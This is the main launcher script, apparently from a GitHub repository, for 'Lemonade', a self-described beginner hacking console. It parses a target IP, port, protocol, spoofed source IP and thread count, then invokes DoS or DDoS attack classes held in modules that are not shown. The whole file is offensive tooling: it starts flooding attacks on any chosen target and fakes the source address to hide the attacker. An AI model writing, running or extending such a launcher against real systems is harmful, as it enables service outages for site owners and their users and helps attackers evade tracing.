-
Notifications
You must be signed in to change notification settings - Fork 0
/
mainy.py
86 lines (72 loc) · 4.5 KB
/
mainy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from time import time
from scripts.ddos import Ddos
from scripts.dos import Dos
import argparse
from colorama import init, Fore, Back, Style
import time
import colorama
init(autoreset=True)
parser = argparse.ArgumentParser(description = "Lemonade is a simple hacking console with cool features for begginer hackers! made by pastlecry#8645")
parser.add_argument('--SCRIPT', '--S', type = str, help = 'Attack Script', required = True)
parser.add_argument('--TARGET', '--T', type = str, help = 'Target IP', required = True)
parser.add_argument('--PORT', '--P', type = str, default = 'auto', help = 'Port')
parser.add_argument('--PROTOCOL', '--O', type = str, default = 'UDP', help = 'Transport protocol', choices = ['UDP', 'TCP'])
parser.add_argument('--FAKEIP', '--F', type = str, default = '182.123.16.28', help = 'Fake IP')
parser.add_argument('--TIMESLEEP', '--TS', type = int, default = '1', help = 'Time sleep')
parser.add_argument('--THREADING', '--H', type = int, default = '500', help = 'Threading')
parser.add_argument('--INFORMATION', '--I', help = 'Threading', action = 'store_true')
parser.add_argument('--AINFORMATION', '--AI', help = 'Threading', action = 'store_true')
arguments = parser.parse_args()
ip = arguments.TARGET
fake_ip = arguments.FAKEIP
porty = arguments.PORT
protocol = arguments.PROTOCOL
s_t = arguments.TIMESLEEP
threading_count = arguments.THREADING
if arguments.SCRIPT == "ddos":
if arguments.INFORMATION:
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
print("\n")
print(Style.BRIGHT + Fore.RED + "Target ip : " + Style.BRIGHT + Fore.WHITE + ip)
print(Style.BRIGHT + Fore.GREEN + "Port : " + Style.BRIGHT + Fore.WHITE + porty)
print(Style.BRIGHT + Fore.YELLOW + "protocol : " + Style.BRIGHT + Fore.WHITE + protocol)
print(Style.BRIGHT + Fore.CYAN + " Threading : " + Style.BRIGHT + Fore.WHITE + str(threading_count))
print("\n")
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
if arguments.AINFORMATION:
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
print("\n")
print(Style.BRIGHT + Fore.RED + " Target ip : " + Style.BRIGHT + Fore.WHITE + ip)
print(Style.BRIGHT + Fore.GREEN + " Port : " + Style.BRIGHT + Fore.WHITE + porty)
print(Style.BRIGHT + Fore.YELLOW + " protocol : " + Style.BRIGHT + Fore.WHITE + protocol)
print(Style.BRIGHT + Fore.CYAN + " Threading : " + Style.BRIGHT + Fore.WHITE + str(threading_count))
#if arguments.SCRIPT == "ddos":
print(Style.BRIGHT + Fore.BLUE + " Fake ip : " + Style.BRIGHT + Fore.WHITE + fake_ip)
print(Style.BRIGHT + Fore.MAGENTA + " Sleep time : " + Style.BRIGHT + Fore.WHITE + str(s_t))
print("\n")
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
time.sleep(2)
attack = Ddos(ip, porty, protocol, fake_ip, s_t, threading_count)
attack.ddos(ip, porty, protocol, fake_ip, s_t, threading_count)
elif arguments.SCRIPT == "dos":
if arguments.INFORMATION:
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
print("\n")
print(Style.BRIGHT + Fore.RED + "Target ip : " + Style.BRIGHT + Fore.WHITE + ip)
print(Style.BRIGHT + Fore.GREEN + "Port : " + Style.BRIGHT + Fore.WHITE + porty)
print(Style.BRIGHT + Fore.YELLOW + "protocol : " + Style.BRIGHT + Fore.WHITE + protocol)
print(Style.BRIGHT + Fore.CYAN + " Threading : " + Style.BRIGHT + Fore.WHITE + str(threading_count))
print("\n")
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
if arguments.AINFORMATION:
print("░░░░░░░░░░░░░░░░░░░░░░░░░░░░░")
print("\n")
print(Style.BRIGHT + Fore.RED + " Target ip : " + Style.BRIGHT + Fore.WHITE + ip)
print(Style.BRIGHT + Fore.GREEN + " Port : " + Style.BRIGHT + Fore.WHITE + porty)
print(Style.BRIGHT + Fore.YELLOW + " protocol : " + Style.BRIGHT + Fore.WHITE + protocol)
print(Style.BRIGHT + Fore.CYAN + " Threading : " + Style.BRIGHT + Fore.WHITE + str(threading_count))
time.sleep(2)
attack = Dos(ip, porty, protocol, threading_count)
attack.dos(ip, porty, protocol, threading_count)
else:
print("attack is not defined!")